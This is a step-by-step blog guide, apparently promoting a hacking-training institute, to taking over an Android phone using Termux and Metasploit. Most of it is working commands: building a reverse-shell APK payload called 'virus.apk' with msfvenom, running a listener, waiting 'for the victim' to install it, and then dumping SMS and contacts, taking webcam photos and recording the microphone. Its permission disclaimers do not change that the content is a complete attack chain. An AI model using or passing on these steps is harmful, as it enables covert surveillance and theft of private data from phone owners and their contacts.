How to Hack Android Phone using Termux – Step-by-Step Full Guide
Hack Android Phone using Termux:
Termux Full Guide for Ethical Hackers
In the world of ethical hacking, Termux is one of the most powerful tools for Android penetration testing. If you’re preparing for the CEH (Certified Ethical Hacker) certification or just diving into mobile security, learning how to use Termux for Android hacking is a must.
📌 Disclaimer: This guide is strictly for educational and ethical purposes only. Misuse of hacking tools is illegal and punishable by law. Always have permission before testing any device.
💡 What is Termux?
Termux is a powerful terminal emulator for Android that lets you run a Linux environment directly on your phone without needing root access. It allows you to install tools like Nmap, Metasploit, Hydra, SQLmap, and more, all within a mobile environment.
🛠️ What You Need Before You Start:
- Android Phone (No Root Required)
- Good Internet Connection
- Installed Termux App (Download from F-Droid or GitHub)
- Basic knowledge of Linux commands
- Permission to test the target device
🚀 Step-by-Step Guide: Hack Android Phone using Termux
✅ Step 1: Install Termux

pkg update && pkg upgrade
pkg install git
pkg install python
pkg install wget
pkg install curl
pkg install openssh
✅ Step 2: Install Key Tools
Install Metasploit Framework in Termux:
pkg install unstable-repo
pkg install metasploit
Metasploit helps you create a malicious payload to gain access to a test Android device.
✅ Step 3: Create a Payload using msfvenom
msfvenom -p android/meterpreter/reverse_tcp LHOST=YOUR-IP LPORT=4444 R > /sdcard/virus.apk
Replace YOUR-IP with your phone’s local IP (or use ngrok for public IP).
This creates an APK payload that you can transfer to the test device.
✅ Step 4: Set Up Metasploit Listener
msfconsole
Then in Metasploit:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST YOUR-IP
set LPORT 4444
exploit
Wait for the victim to install the APK and open it — you’ll get a meterpreter session if the payload runs successfully.
✅ Step 5: Access and Test
Once you have a meterpreter session, you can test commands such as:
shell
dump_sms
dump_contacts
webcam_snap
record_mic
Again, only perform these on your own test device or with full written permission.
📚 Why Learn Mobile Hacking with Termux?
- No need for a laptop or rooted phone
- Portable pentesting on the go
- Great for beginners & CEH aspirants
- Real-world tools with hands-on experience
🎓 Learn from the Best – Axximum Infosolutions
If you want to master ethical hacking, penetration testing, or mobile security, Axximum Infosolutions is the Best CEH – Certified Ethical Hacker Training Institute in Mumbai, India.
We offer real-time practical training with live labs, expert mentors, and globally recognized certifications.
✅ Conclusion
Hacking Android with Termux isn’t just a cool trick—it’s an entry into the world of ethical hacking, bug bounty, and mobile pentesting. But with great power comes great responsibility. Always use these tools ethically and legally.





